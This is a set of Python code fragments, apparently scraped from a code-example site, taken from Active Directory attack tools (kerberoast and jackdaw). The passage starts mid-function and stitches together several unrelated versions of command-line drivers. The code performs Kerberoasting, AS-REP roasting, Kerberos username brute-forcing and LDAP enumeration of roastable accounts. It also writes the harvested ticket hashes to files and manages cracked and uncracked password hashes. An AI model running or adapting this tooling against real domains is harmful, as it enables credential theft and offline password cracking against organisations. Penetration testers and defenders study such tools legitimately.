            print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

        logging.info('SSPI based Kerberoast complete')

    elif args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    target = KerberosTarget()
                    target.username = username
                    target.domain = domain
                    targets.append(target)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                target = KerberosTarget()
                target.username = username
                target.domain = domain
                targets.append(target)

        if len(targets) == 0:
            raise Exception('No targets loaded!')
        logging.debug('Kerberoast loaded %d targets' % len(targets))

        cred = KerberosCredential.from_connection_string(
            args.kerberos_connection_string)
        ks = KerberosSocket.from_connection_string(
            args.kerberos_connection_string)
        ar = Kerberoast(cred, ks)

        if args.etype:
            if args.etype == -1:
                etypes = [23, 17, 18]
            else:
                etypes = [args.etype]
        else:
            etypes = [23, 17, 18]

        logging.debug(
            'Kerberoast will suppoort the following encryption type(s): %s' %
            (','.join(str(x) for x in etypes)))

        hashes = ar.run(targets, override_etype=etypes)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('Kerberoast complete')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    cred = KerberosCredential()
                    cred.username = username
                    cred.domain = domain
                    creds.append(cred)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                cred = KerberosCredential()
                cred.username = username
                cred.domain = domain
                creds.append(cred)

        logging.debug('ASREPRoast loaded %d targets' % len(creds))

        logging.debug(
            'ASREPRoast will suppoort the following encryption type: %s' %
            (str(args.etype)))

        ks = KerberosSocket(args.address)
        ar = APREPRoast(ks)
        hashes = ar.run(creds, override_etype=[args.etype])

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

    elif args.command == 'brute':
        users = []
        with open(args.targets, 'r') as f:
            for line in f:
                users.append(line.strip())
        ksoc = KerberosSocket(args.address)
        ke = KerberosUserEnum(ksoc)
        results = ke.run(args.realm, users)
        logging.info('Enumerated %d users!' % len(results))
        if args.out_file:
            with open(args.out_file, 'w') as f:
                for user in results:
                    f.write(user + '\r\n')

        else:
            print('[+] Enumerated users:')
            for user in results:
                print(user)

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'ldap':
        ldap_url = MSLDAPURLDecoder(args.ldap_url)
        connection = ldap_url.get_connection()
        connection.connect()
        adinfo = connection.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)

        if args.type in ['spn', 'all']:
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_service_user_objects():
                        cnt += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))

            else:
                print('[+] SPN users')
                for user in connection.get_all_service_user_objects():
                    cnt += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        if args.type in ['asrep', 'all']:
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_knoreq_user_objects():
                        ctr += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
            else:
                print('[+] ASREP users')
                for user in connection.get_all_knoreq_user_objects():
                    ctr += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        if args.type in ['full', 'all']:
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    for user in connection.get_all_user_objects():
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                for user in connection.get_all_user_objects():
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        if args.type in ['custom']:
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    for obj in connection.pagedsearch(args.filter, args.attrs):
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                for obj in connection.pagedsearch(args.filter, args.attrs):
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))

            logging.debug('Custom search yielded %d results!' % ctr)
Beispiel #8
0
def main():
    import argparse

    parser = argparse.ArgumentParser(
        description='Tool to perform verious kerberos security tests',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberoast_epilog)
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Increase verbosity, can be stacked')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    ldap_group = subparsers.add_parser(
        'ldap',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        help='Enumerate potentially vulnerable users via LDAP',
        epilog=MSLDAPURLDecoder.help_epilog)
    ldap_group.add_argument('type',
                            choices=['spn', 'asrep', 'full', 'custom', 'all'],
                            help='type of vulnerable users to enumerate')
    ldap_group.add_argument('ldap_url', help='LDAP connection URL')
    ldap_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    ldap_group.add_argument('-f',
                            '--filter',
                            help='CUSTOM mode only. LDAP search filter')
    ldap_group.add_argument(
        '-a',
        '--attrs',
        action='append',
        help='FULL and CUSTOM mode only. LDAP attributes to display')

    brute_group = subparsers.add_parser(
        'brute', help='Enumerate users via brute-forcing kerberos service')
    brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
    brute_group.add_argument('address', help='Address of the DC')
    brute_group.add_argument(
        'targets',
        help='File with a list of usernames to enumerate, one user per line')
    brute_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    asreproast_group = subparsers.add_parser('asreproast',
                                             help='Perform asrep roasting')
    asreproast_group.add_argument('address', help='Address of the DC')
    asreproast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    asreproast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    asreproast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    asreproast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    asreproast_group.add_argument('-e',
                                  '--etype',
                                  default=23,
                                  const=23,
                                  nargs='?',
                                  choices=[23, 17, 18],
                                  type=int,
                                  help='Set preferred encryption type')

    spnroast_group = subparsers.add_parser(
        'spnroast',
        help='Perform spn roasting (aka kerberoasting)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberos_url_help_epilog)
    spnroast_group.add_argument(
        'kerberos_connection_url',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    spnroast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    spnroast_group.add_argument(
        '-e',
        '--etype',
        default=-1,
        const=-1,
        nargs='?',
        choices=[23, 17, 18, -1],
        type=int,
        help='Set preferred encryption type. -1 for all')

    spnroastsspi_group = subparsers.add_parser(
        'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)')
    spnroastsspi_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroastsspi_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroastsspi_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroastsspi_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )

    multiplexorsspi_group = subparsers.add_parser('spnroast-multiplexor',
                                                  help='')
    multiplexorsspi_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    multiplexorsspi_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    multiplexorsspi_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    multiplexorsspi_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    multiplexorsspi_group.add_argument(
        'mp_url',
        help=
        'Multiplexor URL in the following format: ws://host:port/agentid or wss://host:port/agentid'
    )

    tgt_group = subparsers.add_parser(
        'tgt',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberos_url_help_epilog)
    tgt_group.add_argument(
        'kerberos_connection_url',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgt_group.add_argument('out_file', help='Output CCACHE file')

    tgs_group = subparsers.add_parser(
        'tgs',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberos_url_help_epilog)
    tgs_group.add_argument(
        'kerberos_connection_url',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgs_group.add_argument(
        'spn',
        help=
        'SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>'
    )
    tgs_group.add_argument('out_file', help='Output CCACHE file')

    auto_group = subparsers.add_parser(
        'auto',
        help=
        'Just get the tickets already. Only works on windows under any domain-user context'
    )
    auto_group.add_argument('dc_ip', help='Target domain controller')
    auto_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    auto_group.add_argument('-e',
                            '--etype',
                            default=23,
                            const=23,
                            nargs='?',
                            choices=[23, 17, 18],
                            type=int,
                            help='Set preferred encryption type')

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        kerblogger.setLevel(logging.WARNING)
        msldaplogger.setLevel(logging.WARNING)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        kerblogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.INFO)

    else:
        logging.basicConfig(level=1)
        kerblogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.DEBUG)

    asyncio.run(amain(args))
Beispiel #9
0
async def run(args):
    print(__banner__)
    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        jdlogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.WARNING)
        smblogger.setLevel(logging.CRITICAL)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        jdlogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.INFO)
        smblogger.setLevel(logging.INFO)

    elif args.verbose > 1:
        logging.basicConfig(level=1)
        msldaplogger.setLevel(logging.DEBUG)
        jdlogger.setLevel(1)
        smblogger.setLevel(1)

    if not args.sql:
        print(
            'SQL connection identification is missing! You need to provide the --sql parameter'
        )
        sys.exit()

    db_conn = args.sql
    if args.sql.lower().startswith('sqlite'):
        os.environ['JACKDAW_SQLITE'] = '1'

    if args.command == 'enum':
        smb_mgr = construct_smbdef(args)
        ldap_mgr = construct_ldapdef(args)

        mgr = LDAPEnumeratorManager(db_conn,
                                    ldap_mgr,
                                    agent_cnt=args.ldap_workers)
        adifo_id = await mgr.run()
        jdlogger.info('ADInfo entry successfully created with ID %s' %
                      adifo_id)

        mgr = SMBGathererManager(smb_mgr,
                                 worker_cnt=args.smb_workers,
                                 queue_size=args.smb_queue_size)
        mgr.gathering_type = ['all']
        mgr.db_conn = db_conn
        mgr.target_ad = adifo_id
        await mgr.run()

        if args.smb_share_enum is True:
            settings_base = SMBShareGathererSettings(adifo_id, smb_mgr, None,
                                                     None, None)
            settings_base.dir_depth = args.smb_folder_depth
            mgr = ShareGathererManager(settings_base,
                                       db_conn=db_conn,
                                       worker_cnt=args.smb_workers)
            mgr.run()

    elif args.command == 'dbinit':
        create_db(db_conn)

    elif args.command == 'adinfo':
        session = get_session(db_conn)
        from jackdaw.dbmodel.adinfo import JackDawADInfo
        from jackdaw.utils.table import print_table

        rows = [['Ad ID', 'domain name', 'scantime']]
        for did, distinguishedName, creation in session.query(
                JackDawADInfo).with_entities(JackDawADInfo.id,
                                             JackDawADInfo.distinguishedName,
                                             JackDawADInfo.fetched_at).all():
            name = distinguishedName.replace('DC=', '')
            name = name.replace(',', '.')
            rows.append([str(did), name, creation.isoformat()])
        print_table(rows)

    elif args.command == 'ldap':
        ldap_mgr = construct_ldapdef(args)
        ldap_conn = ldap_mgr.get_client()

        mgr = LDAPEnumeratorManager(db_conn,
                                    ldap_mgr,
                                    agent_cnt=args.ldap_workers,
                                    queue_size=args.ldap_queue_size,
                                    ad_id=args.ad_id)
        adifo_id = await mgr.run()
        jdlogger.info('ADInfo entry successfully created with ID %s' %
                      adifo_id)

    elif args.command in ['shares', 'sessions', 'localgroups', 'smball']:
        if args.command == 'smball':
            args.command = 'all'
        smb_mgr = construct_smbdef(args)
        mgr = SMBGathererManager(smb_mgr,
                                 worker_cnt=args.smb_workers,
                                 queue_size=args.smb_queue_size)
        mgr.gathering_type = [args.command]
        mgr.db_conn = db_conn
        mgr.lookup_ad = args.lookup_ad

        if args.ldap_url:
            ldap_mgr = construct_ldapdef(args)
            ldap_conn = ldap_mgr.get_client()
            mgr.ldap_conn = ldap_conn

        if args.ad_id:
            mgr.target_ad = args.ad_id

        if args.target_file:
            mgr.targets_file = args.target_file

        await mgr.run()

    elif args.command == 'files':
        if args.src == 'domain':
            if not args.ad_id:
                raise Exception('ad-id parameter is mandatory in ldap mode')

            mgr = SMBConnectionURL(args.smb_url)
            settings_base = SMBShareGathererSettings(args.ad_id, mgr, None,
                                                     None, None)
            settings_base.dir_depth = args.smb_folder_depth
            settings_base.dir_with_sd = args.with_sid
            settings_base.file_with_sd = args.with_sid

            mgr = ShareGathererManager(settings_base,
                                       db_conn=db_conn,
                                       worker_cnt=args.smb_workers)
            mgr.run()

    #	elif args.src == 'file':
    #		if not args.target_file:
    #			raise Exception('target-file parameter is mandatory in file mode')
    #
    #		args.target_file
    #		args.lookup_ad
    #		args.with_sid
    #		args.smb_workers
    #
    #	elif args.src == 'ldap':
    #		if not args.ldap_url:
    #			raise Exception('ldap-url parameter is mandatory in ldap mode')
    #		args.lookup_ad
    #		args.with_sid
    #		args.smb_workers
    #
    #
    #
    #	elif args.src == 'cmd':

    elif args.command == 'creds':
        creds = JackDawCredentials(args.db_conn, args.domain_id)
        creds.add_credentials_impacket(args.impacket_file)

    elif args.command == 'passwords':
        creds = JackDawCredentials(args.db_conn)
        creds.add_cracked_passwords(args.potfile, args.disable_usercheck,
                                    args.disable_passwordcheck)

    elif args.command == 'uncracked':
        creds = JackDawCredentials(args.db_conn, args.domain_id)
        creds.get_uncracked_hashes(args.hash_type, args.history)

    elif args.command == 'cracked':
        creds = JackDawCredentials(args.db_conn, args.domain_id)
        creds.get_cracked_info()

    elif args.command == 'nest':
        from jackdaw.nest.wrapper import NestServer

        debug = bool(args.verbose)

        server = NestServer(args.sql,
                            bind_ip=args.ip,
                            bind_port=args.port,
                            debug=debug)
        server.run()
Beispiel #10
0
async def run(args):
    try:
        if args.silent is True:
            print(__banner__)
        if args.verbose == 0:
            logging.basicConfig(level=logging.INFO)
            jdlogger.setLevel(logging.INFO)
            msldaplogger.setLevel(logging.CRITICAL)
            smblogger.setLevel(100)

        elif args.verbose == 1:
            logging.basicConfig(level=logging.DEBUG)
            jdlogger.setLevel(logging.DEBUG)
            msldaplogger.setLevel(logging.WARNING)
            smblogger.setLevel(logging.CRITICAL)

        elif args.verbose > 1:
            logging.basicConfig(level=1)
            msldaplogger.setLevel(logging.DEBUG)
            jdlogger.setLevel(1)
            smblogger.setLevel(1)

        if not args.sql and args.command != 'auto':
            print(
                'SQL connection identification is missing! You need to provide the --sql parameter'
            )
            sys.exit()

        work_dir = './workdir'
        ldap_url = None
        smb_url = None

        if hasattr(args, 'ldap_url'):
            ldap_url = args.ldap_url
        if hasattr(args, 'smb_url'):
            smb_url = args.smb_url

        db_conn = args.sql
        if db_conn is not None:
            os.environ['JACKDAW_SQLITE'] = '0'
            if args.sql.lower().startswith('sqlite'):
                os.environ['JACKDAW_SQLITE'] = '1'
        else:
            os.environ['JACKDAW_SQLITE'] = '1'

        if args.command == 'enum':
            with multiprocessing.Pool() as mp_pool:
                gatherer = Gatherer(db_conn,
                                    work_dir,
                                    ldap_url,
                                    smb_url,
                                    kerb_url=args.kerberoast,
                                    ldap_worker_cnt=args.ldap_workers,
                                    smb_worker_cnt=args.smb_workers,
                                    mp_pool=mp_pool,
                                    smb_gather_types=['all'],
                                    progress_queue=None,
                                    show_progress=args.silent,
                                    calc_edges=True,
                                    ad_id=None,
                                    dns=args.dns,
                                    no_work_dir=args.no_work_dir)
                res, err = await gatherer.run()
                if err is not None:
                    raise err

        elif args.command == 'auto':
            _, err = await run_auto(ldap_worker_cnt=args.ldap_workers,
                                    smb_worker_cnt=args.smb_workers,
                                    dns=args.dns,
                                    work_dir=work_dir,
                                    show_progress=args.silent,
                                    no_work_dir=args.no_work_dir)
            if err is not None:
                print(err)

        elif args.command == 'dbinit':
            create_db(db_conn)

        elif args.command == 'adinfo':
            session = get_session(db_conn)
            from jackdaw.dbmodel.adinfo import ADInfo
            from jackdaw.utils.table import print_table

            rows = [['Ad ID', 'domain name', 'scantime']]
            for did, distinguishedName, creation in session.query(
                    ADInfo).with_entities(ADInfo.id, ADInfo.distinguishedName,
                                          ADInfo.fetched_at).all():
                name = distinguishedName.replace('DC=', '')
                name = name.replace(',', '.')
                rows.append([str(did), name, creation.isoformat()])
            print_table(rows)

        elif args.command == 'ldap':
            with multiprocessing.Pool() as mp_pool:
                gatherer = Gatherer(db_conn,
                                    work_dir,
                                    ldap_url,
                                    smb_url,
                                    ldap_worker_cnt=args.ldap_workers,
                                    smb_worker_cnt=None,
                                    mp_pool=mp_pool,
                                    smb_gather_types=['all'],
                                    progress_queue=None,
                                    show_progress=args.silent,
                                    calc_edges=args.calculate_edges,
                                    ad_id=args.ad_id,
                                    no_work_dir=args.no_work_dir)
                await gatherer.run()

        elif args.command == 'kerberoast':
            gatherer = Gatherer(db_conn,
                                work_dir,
                                None,
                                None,
                                kerb_url=args.kerberos_url,
                                ldap_worker_cnt=None,
                                smb_worker_cnt=None,
                                mp_pool=None,
                                smb_gather_types=[],
                                progress_queue=None,
                                show_progress=False,
                                calc_edges=False,
                                ad_id=args.ad_id)
            await gatherer.run()
            print('Kerberoast Finished!')

        elif args.command in ['shares', 'sessions', 'localgroups', 'smball']:
            if args.command == 'smball':
                args.command = 'all'

            gatherer = Gatherer(
                db_conn,
                work_dir,
                ldap_url,
                smb_url,
                ad_id=args.ad_id,
                ldap_worker_cnt=None,
                smb_worker_cnt=args.smb_workers,
                mp_pool=None,
                smb_gather_types=args.command,
                progress_queue=None,
                show_progress=args.silent,
                calc_edges=False,
                dns=args.dns,
            )
            await gatherer.run()

        elif args.command == 'dns':
            gatherer = Gatherer(
                db_conn,
                work_dir,
                None,
                None,
                ad_id=args.ad_id,
                ldap_worker_cnt=None,
                smb_worker_cnt=None,
                mp_pool=None,
                smb_gather_types=None,
                progress_queue=None,
                show_progress=args.silent,
                calc_edges=False,
                dns=args.dns,
            )
            await gatherer.run()

        elif args.command == 'version':
            print('Jackdaw version: %s' % jdversion)
            print('MSLDAP version : %s' % ldapversion)
            print('AIOSMB version : %s' % smbversion)

        elif args.command == 'files':
            raise Exception('not yet implemented!')
            #if args.src == 'domain':
            #	if not args.ad_id:
            #		raise Exception('ad-id parameter is mandatory in ldap mode')
            #
            #	mgr = SMBConnectionURL(args.smb_url)
            #	settings_base = SMBShareGathererSettings(args.ad_id, mgr, None, None, None)
            #	settings_base.dir_depth = args.smb_folder_depth
            #	settings_base.dir_with_sd = args.with_sid
            #	settings_base.file_with_sd = args.with_sid
            #
            #	mgr = ShareGathererManager(settings_base, db_conn = db_conn, worker_cnt = args.smb_workers)
            #	mgr.run()

        elif args.command == 'creds':
            creds = JackDawCredentials(db_conn, args.domain_id)
            creds.add_credentials_impacket(args.impacket_file)

        elif args.command == 'passwords':
            creds = JackDawCredentials(db_conn)
            creds.add_cracked_passwords(args.potfile, args.disable_usercheck,
                                        args.disable_passwordcheck)

        elif args.command == 'uncracked':
            creds = JackDawCredentials(db_conn, args.domain_id)
            creds.get_uncracked_hashes(args.hash_type, args.history)

        elif args.command == 'cracked':
            creds = JackDawCredentials(db_conn, args.domain_id)
            creds.get_cracked_info()

        elif args.command == 'recalc':
            with multiprocessing.Pool() as mp_pool:
                gatherer = Gatherer(db_conn,
                                    work_dir,
                                    None,
                                    None,
                                    mp_pool=mp_pool,
                                    progress_queue=None,
                                    show_progress=args.silent,
                                    calc_edges=True,
                                    store_to_db=True,
                                    ad_id=None,
                                    graph_id=args.graphid)
                await gatherer.run()

        elif args.command == 'nest':
            from jackdaw.nest.wrapper import NestServer

            debug = bool(args.verbose)

            server = NestServer(
                args.sql,
                bind_ip=args.ip,
                bind_port=args.port,
                debug=debug,
                work_dir=args.work_dir,
                graph_backend=args.backend,
            )
            server.run()

        elif args.command == 'ws':
            from jackdaw.nest.ws.server import NestWebSocketServer
            server = NestWebSocketServer(args.listen_ip,
                                         args.listen_port,
                                         args.sql,
                                         args.work_dir,
                                         args.backend,
                                         ssl_ctx=None)
            await server.run()

        elif args.command == 'bhimport':
            from jackdaw.utils.bhimport import BHImport
            print(
                'DISCLAIMER! This feature is still beta! Bloodhound acquires way less data than Jackdaw therefore not all functionality will work after import. Any errors during import will be silently ignored, use "-vvv" verbosity level to see all errors.'
            )
            bh = BHImport.from_zipfile(args.bhfile)
            bh.db_conn = db_conn
            if args.verbose > 1:
                bh.set_debug(True)
            bh.run()
            print('Import complete!')

    except Exception as e:
        jdlogger.exception('main')
Beispiel #11
0
def run(args):
    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        jdlogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.WARNING)
        smblogger.setLevel(logging.CRITICAL)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        jdlogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.INFO)
        smblogger.setLevel(logging.INFO)

    elif args.verbose > 1:
        logging.basicConfig(level=1)
        msldaplogger.setLevel(logging.DEBUG)
        jdlogger.setLevel(1)
        smblogger.setLevel(1)

    if not args.sql:
        print(
            'SQL connection identification is missing! You need to provide the --sql parameter'
        )
        sys.exit()

    db_conn = args.sql

    if args.command == 'enum':
        smb_mgr = construct_smbdef(args)
        ldap_mgr = construct_ldapdef(args)

        mgr = LDAPEnumeratorManager(db_conn,
                                    ldap_mgr,
                                    agent_cnt=args.ldap_workers)
        adifo_id = mgr.run()
        print('ADInfo entry successfully created with ID %s' % adifo_id)

        mgr = SMBGathererManager(smb_mgr, worker_cnt=args.smb_workers)
        mgr.gathering_type = ['all']
        mgr.db_conn = db_conn
        mgr.target_ad = adifo_id
        mgr.run()

    elif args.command == 'dbinit':
        create_db(db_conn)

    elif args.command == 'adinfo':
        session = get_session(db_conn)
        from jackdaw.dbmodel.adinfo import JackDawADInfo
        from jackdaw.utils.table import print_table

        rows = [['Ad ID', 'domain name', 'scantime']]
        for did, distinguishedName, creation in session.query(
                JackDawADInfo).with_entities(JackDawADInfo.id,
                                             JackDawADInfo.distinguishedName,
                                             JackDawADInfo.fetched_at).all():
            name = distinguishedName.replace('DC=', '')
            name = name.replace(',', '.')
            rows.append([str(did), name, creation.isoformat()])
        print_table(rows)

    elif args.command == 'ldap':
        ldap_mgr = construct_ldapdef(args)
        ldap_conn = ldap_mgr.get_connection()
        ldap_conn.connect()

        mgr = LDAPEnumeratorManager(db_conn,
                                    ldap_mgr,
                                    agent_cnt=args.ldap_workers)
        adifo_id = mgr.run()
        print('ADInfo entry successfully created with ID %s' % adifo_id)

    elif args.command in ['shares', 'sessions', 'localgroups']:
        smb_mgr = construct_smbdef(args)
        mgr = SMBGathererManager(smb_mgr)
        mgr.gathering_type = [args.command]
        mgr.db_conn = db_conn
        mgr.lookup_ad = args.lookup_ad

        if args.ldap_url:
            ldap_mgr = construct_ldapdef(args)
            ldap_conn = ldap_mgr.get_connection()
            ldap_conn.connect()
            mgr.ldap_conn = ldap_conn

        if args.ad_id:
            mgr.target_ad = args.ad_id

        if args.target_file:
            mgr.targets_file = args.target_file

        mgr.run()

    elif args.command == 'creds':
        creds = JackDawCredentials(args.db_conn, args.domain_id)
        creds.add_credentials_impacket(args.impacket_file)

    elif args.command == 'passwords':
        creds = JackDawCredentials(args.db_conn)
        creds.add_cracked_passwords(args.potfile, args.disable_usercheck,
                                    args.disable_passwordcheck)

    elif args.command == 'uncracked':
        creds = JackDawCredentials(args.db_conn, args.domain_id)
        creds.get_uncracked_hashes(args.hash_type, args.history)

    elif args.command == 'cracked':
        creds = JackDawCredentials(args.db_conn, args.domain_id)
        creds.get_cracked_info()

    elif args.command == 'nest':
        from jackdaw.nest.wrapper import NestServer

        debug = bool(args.verbose)

        server = NestServer(args.sql,
                            bind_ip=args.ip,
                            bind_port=args.port,
                            debug=debug)
        server.run()
Beispiel #12
0
def run():
    import argparse

    parser = argparse.ArgumentParser(
        description=
        'Tool to perform kerberoast attack against service users in MS Active Directory'
    )
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Increase verbosity, can be stacked')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    ldap_group = subparsers.add_parser(
        'ldap', help='Enumerate potentially vulnerable users via LDAP')
    ldap_group.add_argument('type',
                            choices=['spn', 'asrep', 'all'],
                            help='type of vulnerable users to enumerate')
    ldap_group.add_argument(
        'user',
        help=
        'LDAP user specitication <domain>/<username>:<password>@<ip or hostname>'
    )
    ldap_group.add_argument('-n',
                            '--ntlm',
                            help='Specify this for passing the hash')
    ldap_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    brute_group = subparsers.add_parser(
        'brute', help='Enumerate users via brute-forcing kerberos service')
    brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
    brute_group.add_argument('address', help='Address of the DC')
    brute_group.add_argument(
        'targets',
        help='File with a list of usernames to enumerate, one user per line')
    brute_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

